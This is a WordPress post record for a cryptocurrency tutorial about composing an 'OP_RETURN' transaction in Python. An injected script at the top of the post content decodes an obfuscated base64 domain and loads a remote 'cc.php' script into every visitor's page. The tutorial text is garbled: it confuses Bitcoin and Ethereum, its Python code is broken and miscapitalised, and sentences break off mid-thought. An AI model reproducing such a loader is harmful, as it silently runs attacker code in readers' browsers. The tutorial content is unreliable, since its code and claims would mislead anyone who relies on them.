{"id":9698,"date":"2025-02-08T22:05:46","date_gmt":"2025-02-08T22:05:46","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9698"},"modified":"2025-02-08T22:05:46","modified_gmt":"2025-02-08T22:05:46","slug":"ethereum-how-do-i-compose-a-transaction-with-op_return-in-python","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9698","title":{"rendered":"Ethereum: How do I compose a transaction with OP_RETURN in Python?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=db0b6f46\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Composing a Transaction with Op_return in Python <\/strong><\/p>\n<\/p>\n<p>Op_return is an effective way to create small amousts of cryptocurrency transactions without having them as a regular transaction. Here&#8217;s a step-by-step guide on how to use python to compose a transaction with op_return.<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p><img decoding=\"async\" alt=\"Ethereum: How do I compose a transaction with OP_RETURN in Python?\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/13d42d9c.png\"><\/p>\n<p>Prerequisites<\/p>\n<\/p>\n<ul>\n<li>You can install theming pip: <code>PIP Install Hashlib Hmac<\/code><\/li>\n<\/ul>\n<\/p>\n<p>. Any transaction larger than 1 kb or containing a value greater than 2^64-1 bytes will be rejected.<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Composing a Transaction with Op_return<\/p>\n<\/p>\n<p>Data. Here&#8217;s an example function that generates a valid op_return transaction:<\/p>\n<\/p>\n<p>`<code>python<\/p>\n<\/p>\n<p>Hashlib import<\/p>\n<\/p>\n<p>From Hmac Import Digest<\/p>\n<\/p>\n<p>Def Op_return (Data):<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/o7JWuWu_CL0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>Convert the Input Data to Bytes<\/p>\n<\/p>\n<p>    Data_Bytes = Data.encode ('UTF-8')<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Generate and SHA-256 Hash of the Input Data<\/p>\n<\/p>\n<p>    hash_hex = Hashlib.Sha256 (Data_Bytes) .hexdigest ()<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Create an hmac-sha256 signature using the input data and its hash<\/p>\n<\/p>\n<p>    Sig = Digest ((Data, Hash_hex), Hashlib.Sha256)<\/p>\n<\/p>\n<p>    Return {<\/p>\n<\/p>\n<p>        'Type': 'Op_return',<\/p>\n<\/p>\n<p>        'Data': Data,<\/p>\n<\/p>\n<p>        'hash': sig.hex (),<\/p>\n<\/p>\n<p>        'Index': 0<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p>This function<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Example Use Case<\/p>\n<\/p>\n<p>Here&#8217;s an example of how you can use the above function to compose a transl<\/p>\n<\/p>\n<p>`<code>python<\/p>\n<\/p>\n<p>Data = \"My Ethereum Address: 0x1234567890abcdef\"<\/p>\n<\/p>\n<p>Transaction = Op_return (Data)<\/p>\n<\/p>\n<p>Print (Transaction) <\/p>\n<h1><\/h1>\n<p>Output: {'Type': 'Op_return', ...}<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p>Note that<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Handling Errors<\/p>\n<\/p>\n<p>. Data, it will be rejected. .<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Conclusion<\/p>\n<\/p>\n<p>Op_return Python, you can compose transactions that are both efficient and secure. Remember to always validate the input data before using it to construct a transaction. Happy Coding!<\/p>\n<p><a href=\"https:\/\/fedbiz.ru\/ethereum-determine-address-balance-using-bitcoin-core\/\">ETHEREUM ADDRESS BALANCE USING BITCOIN<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Composing a Transaction with Op_return in Python Op_return is an effective way to create small amousts of cryptocurrency transactions without having them as a regular transaction.<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9698","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9698","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9698"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9698\/revisions"}],"predecessor-version":[{"id":9699,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9698\/revisions\/9699"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9698"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9698"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9698"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}